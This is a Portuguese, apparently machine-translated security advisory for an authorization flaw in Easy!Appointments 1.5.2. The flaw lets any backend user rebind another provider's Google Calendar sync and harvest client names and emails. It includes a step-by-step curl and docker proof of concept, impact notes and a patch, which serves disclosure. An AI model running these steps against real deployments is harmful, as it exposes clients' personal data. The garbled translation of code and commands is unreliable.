`Google::oauth` no `application/ controllers/Google.php: 278 ` armazena o seu URL fornecido `provider_id` na sessão, e `oauth_callback` salva o token do Google OAuth emitido contra essa linha sem verificar se o chamador é dono do provedor. Qualquer usuário de backend logado (admin, provider ou secretário) religa a sincronização do Google de um provedor de pares a uma conta do Google que eles controlam. As consultas do pair então sincronizam- se no calendário do atacante com o nome e e- mail de cada cliente anexados como dados do participante. - O atacante mantém um login de backend na instância alvo (admin, provider ou secretário). O papel do cliente não pode fazer login. - A instância tem o Google Calendar OAuth configurado em `application/config/google.php` - ou seja, qualquer implantação que use o recurso de sincronização do Google. - Implementação padrão por meio do próprio projeto `docker-compose.yml`; não é necessária nenhuma opção não- predefinida. ```php // app/ controllers/Google.php: 278 - 289 função pública oauth(string $provider_id): vazio { se (!$this->session->userdata('user_id')) { show_error('Proibido', 403 ); } // Armazene o id do provedor para usar na função de chamada. sessão(['oauth_provider_id' => $provider_id]); // (*) id do atacante- escolhido armazenado sem marcação // Redirecione o navegador para página de conteúdo do usuário do Google. header( 'Localização: '. $this->google_sync->get_auth_url()); } ```.
```php // app/ controllers/Google.php: 305 - 337 função pública oauth_callback(): vazio { se (!session('user_id')) { abort( 403, 'Proibido'); } $code = request('code'); se (vazio($code)) { resposta('Code autorização falhou.'); retorno; }. $token = $this->google_sync->autenticate($code); se (vazio($token)) { resposta('Token autorisation falhado'); retorno; } $oauth_provider_id = sessão('oauth_provider_id'); se ($oauth_provider_id) { $this->providers_model->set_setting($oauth_provider_id, 'google_sync', true); // (*) $this->providers_model->set_setting($oauth_provider_id, 'google_token', json_encode($token)); // (*) $this->providers_model->set_setting($oauth_provider_id, 'google_calendar', 'primary'); } senão { resposta('Sync provider id not especificated.'); } } ````````````, 'google_calendar', 'primary'); } O mesmo controlador já carrega o portão direito em cada outra entrada de gerenciamento de sincronização. `select_google_calendar` em `application/controllers/Google.php: 389 ` e `disable_provider_sync` em `application/controllers/Google.php: 423 ` ambos recusam a chamada quando o chamador não é um administrador nem o próprio provedor: ```php // app/ controllers/Google.php: 389 if (cannot('edit', PRIV_USERS) & & (int) $user_id! == (int) $provider_id) { lançar nova RuntimeException('Você não tem as permissões necessárias para esta tarefa.'); } ````.
`oauth` e `oauth_callback` não fazem essa verificação. Uma vez que o callback é executado com ` oauth_provider_id` apontando para um provedor de pares, a linha `user_settings` do peer é substituída com o token OAuth do atacante e ` google_sync` é ativado à força. A cadeia de ataque que fornece os dados. - ` Sincronização::sync_appointment_saved` em `application/librarys/ Syncronization.php: 51 ` executa em cada gravação. O caminho inclui o fluxo de reservas públicas não autenticado (`Booking::register` no `application/ controllers/Booking.php: 463 `) e o backend salvar (`Calendar::save_appointment` em `application/ controllers/Calendar.php: 306 `). Quando `$provider['settings']['google_sync']` é verdade que o manipulador lê `google_token` da linha - agora o atacante's - atualiza- o, e chama `Google_sync::add_appointment`. - `Google_sync:::add_appointment` em `application/libraries/Google_sync.php: 184 - 189 ` adiciona o cliente como um participante do Google com seu primeiro nome, sobrenome e e- mail. - O cron- activado `Console::sync` -> `Google::sync($provider_id)` em `application/ controllers/Google.php: 44 ` caminha as janelas existentes `sync_past_days` e `sync_future_days` e empurra todas as consultas para o calendário do atacante. - O mesmo loop exclui a linha local sempre que o evento remoto lança ou é `anulado` (`application/ controllers/ Google.php: 186 - 191 `); o atacante insere eventos fora do seu calendário do Google para excluir as consultas do provedor de vítimas. Eventos que o atacante cria em seu próprio calendário chegam como registros de indisponibilidade na agenda da vítima (` application/ controllers/Google.php: 209 - 254 `). ### Prova de conceito. 1. Clone o repositório, pin para a versão auditada, copie a configuração da amostra e traga a pilha agrupada: ````bash git clone cd easypointments git checkout 1.5.2 cp config- sample.php config.php docker compõe up -d até curl - fsS -o /dev/null; dom 2; feito ``` 2. Execute o instalador do console. A semente define a senha do administrador para a cadeia literal `administrator' (veja `application/libraries/Instance.php: 99 `):.
```` docker docker docker docker docker docker docker docker docker docker docker docker compõe o console php index.php. 3. Configurar o cliente Google OAuth da instalação. Colar o id do cliente e o segredo de um projeto do Google Cloud que você controla em `application/config/google.php` e adicionar ` para os URIs de redirecionamento autorizados do projeto. Este passo já está feito em qualquer implantação que use a sincronização do Google. 4. Faça login como `administrador` e persista no frasco de cookies (o cookie de sessão do projeto é `ea_session`): ````exportação de bash ADMIN_JAR=/tmp/admin.cookies curl -s -c $ADMIN_JAR -o /dev/null CSRF=$(awk '$ 6 =="csrf_cookie" {impressão $ 7 }' $ADMIN_JAR) curl -s -b $ADMIN_JAR -c $ADMIN_JAR -X POST \ --data-urlencode "csrf_token=$CSRF" \ --data-urlencode "username=administrator" \ --data-urlencode "password=administrator" > /dev/null ```.
5. Crie o provedor atacante (o padrão `require_phone_number= 1 ` configuração torna esse campo obrigatório. Capture os dois ids: ``` bash CSRF=$(awk '$ 6 =="csrf_cookie" {impressão $ 7 }' $ADMIN_JAR) curl -s -b $ADMIN_JAR -X POST \ --data-urlencode "csrf_token=$CSRF" \ --data-urlencode 'provider[primeiro_nome]=Mal' \ --data-urlencode 'provider[último_nome]=Lory' \ --data-urlencode 'provider[email]=mallory@x.test' \ --data-urlencode 'provider[número]=+ 10000000000 ' \ --data- urlencode 'provider[ timezone]=UTC' \ --data- urlencode 'provider[ lingua]=english' \ --data- urlencode 'provider[ settings][username]=malory' \ --data- urlencode 'provider[ settings][ password]=Attacker- pw- 1 ' \ -- data- urlencode 'provider[ settings][notificações]= 0 ' ' export ATTACKER_ ID= $(docker compor exec - T mysql mysql - uuser - ppassword easyappointments -N -B \ -e "SELECTIONE U.id DE Ea_user u JOIN Ea_user_settings s ON s.id_user=u.id Where s.username='malory'") export VICTIM_ID=$ (docker compor exec -T mysql mysql - uuser - ppassword easyappointments -N -B \ -e "SELECTIONE U.id DE Ea_user u JOIN ea_user_settings s ON s.id_user=u.id Where s.username=''") ``` 6. Faça login como o fornecedor do atacante num frasco de cookies dedicado: ````a exportação de bash ATTACKER_JAR=/tmp/atacker.cookies curl -s -c $ATTACKER_JAR -o /dev/null CSRF=$(awk '$ 6 =="csrf_cookie" {impressão $ 7 }' $ATTACKER_JAR) curl -s -b $ATTACKER_JAR -c $ATTACKER_JAR -X POST \ --data-urlencode "csrf_token=$CSRF" \ --data-urlencode "username=malory" \ --data-urlencode "password=Attacker- pw- 1 " > /dev/null ``.
1. O atacante, logado como um provedor regular com id `$ATTACKER_ ID`, aponta `/ google/oauth/` no id do provedor da vítima `$VICTIM_ ID`: ```` bash curl -si -b $ATTACKER_JAR " head - 5 ```. Esperado: `HTTP/ 1.1 302 Encontrado` com `Localização: 2 /auth?...` - o servidor aceitou a chamada de um chamador que não é dono. Verifique o efeito do lado da sessão no disco: `docker compose exec -T php-fpm cat storage/sessions/ea_session$(awk '$ 6 =="e_sessões"{impressão $ 7 }' $ATTACKER_ JAR)` mostra `oauth_provider_idÕs: 1:" "` anexado aos dados da sessão do atacante ao lado do seu próprio `user_idїi: `. 2. O atacante copia o cookie `ea_session` de `$ATTACKER_ JAR` para um navegador real, abre o URL de redirecionamento, entra no Google com sua própria conta do Google e concede o consentimento. O Google redireciona de volta para ` e o aplicativo troca o código por um token de acesso + atualização. 3. Confirme que a linha foi rebote. A seleção de token, flag de sincronização e calendário agora pertencem à conta do Google do atacante, mas se sentam na vítima 'ea_user_sets`:.
````bash docker compor exec -T mysql mysql -uuser -ppassword easyappointments \ -e "SELECIONE nome, valor DE Ea_user_settings WHERE id_users=$VICTIM_ID E nome IN ('google_sync', 'google_token', 'google_calendar')" ```` Esperado: `google_sync = 1 `, `google_token = {"access_token": "...","refresh_token: "..."}` (ataque), `google_calendar = primário`. 4. Active uma sincronização. Qualquer reserva não autenticada contra o provedor da vítima agora entra no calendário do atacante: ``` bash CSRF=$(awk '$ 6 =="csrf_cookie" {impressão $ 7 }' /tmp/booking.cookies) curl -s -c /tmp/booking.cookies -o /dev/null CSRF=$(awk '$ 6 =="csrf_cookie" {impressão $ 7 }' /tmp/booking.cookies) curl -s -b /tmp/booking.cookies -X POST \ --data-urlencode "csrf_token=$CSRF" \ --data-urlencode "post_data[manage_mode]=false" \ --data-urlencode "post_data[notificação][id_users_provider]=$VICTIM_ID" \ --data-urlencode "post_data[notificação][id_services]= 1 " \ --data-urlencode "post_data[notificação][start_datetime]= 2026 - 06 - 01 10: 00: 00 " \ --data-urlencode "post_data[notificação][end_datetime]= 2026 - 06 - 01 10: 30: 00 " \ --data-urlencode "post_data[cliente][primeiro_nome]=Carol" \ --data-urlencode "post_data[cliente][último_nome]=Victim" \ --data-urlencode "post_data[cliente][email]=carol@target.test" `````.
Aguardado: o calendário do Google do atacante recebe um novo evento cujo título é o nome do serviço, com `Carol Victim ` listado como um participante. - ** Confidencialidade:** Leia todas as consultas reservadas contra o provedor da vítima; o primeiro nome, sobrenome e e- mail do cliente anexam a cada evento do Google como dados do participante (`Google_sync.php: 184 - 189 `). - **Integridade:** Exclui qualquer nomeação do provedor da vítima removendo o evento correspondente do calendário do atacante; o próximo `Console::sync` remove a linha local (`Google.php: 186 - 191 `). - **Integridade:** Insere registros arbitrários de indisponibilidade no horário do provedor da vítima, criando eventos no calendário do atacante (`Google.php: 209 - 254 `). ### Sugestões para corrigir. > _Isto não foi testado - é apenas ilustrativo._ Rejeite a chamada a menos que a chamada seja um administrador ou o provedor cuja linha está prestes a ser reescrita - o mesmo portão `select_google_calendar` e `disable_provider_sync` já usa.
```diff função pública oauth(string $provider_id): vazio { se (!$this->session->userdata('user_id')) { show_error('Proibido', 403 ); } + se (não pode( 'edit', PRIV_USERS) & & (int) sessão( 'user_id')! == (int) $provider_id) { + abortar( 403, 'Proibido'); + } + // Armazene o id do provedor para usar na função de chamada de volta. sessão(['oauth_provider_id' => $provider_id]); // Redirecione o navegador para página de conteúdo do usuário do Google. header( 'Localização: '. $this->google_sync->get_auth_url()); } ``` Registro de aconselhamento: GHSA- 8 hm 4 - r 66 f- 29 - Não. Identificadores relacionados: CVE- 2026 - 52841.
Tempo: GitHub Advisory Database publicou este registro em 2026 - 07 - 29 T 16: 29: 26.000 Z e lista a sua última modificação como 2026 - 07 - 29 T 16: 29: 26.000 Z. Severidade: LOW. Dados de pontuação publicados: CVSS_V 3: CVSS: 3.1 /AV:N/AC:H/PR:H/UI:R/S:U/C:L/I:L/A:N. Informações sobre software e versão afetadas: pacote Packagist alextselegidis/easypointments — ECOSYSTEM: introduzido 0, última afetada 1.5.2. Classificação e evidência: identificadores de fraqueza CWE- 639. O registro contém 5 suporte de referências nestes tipos: WEB, AVISO, EMBALAGAMENTO.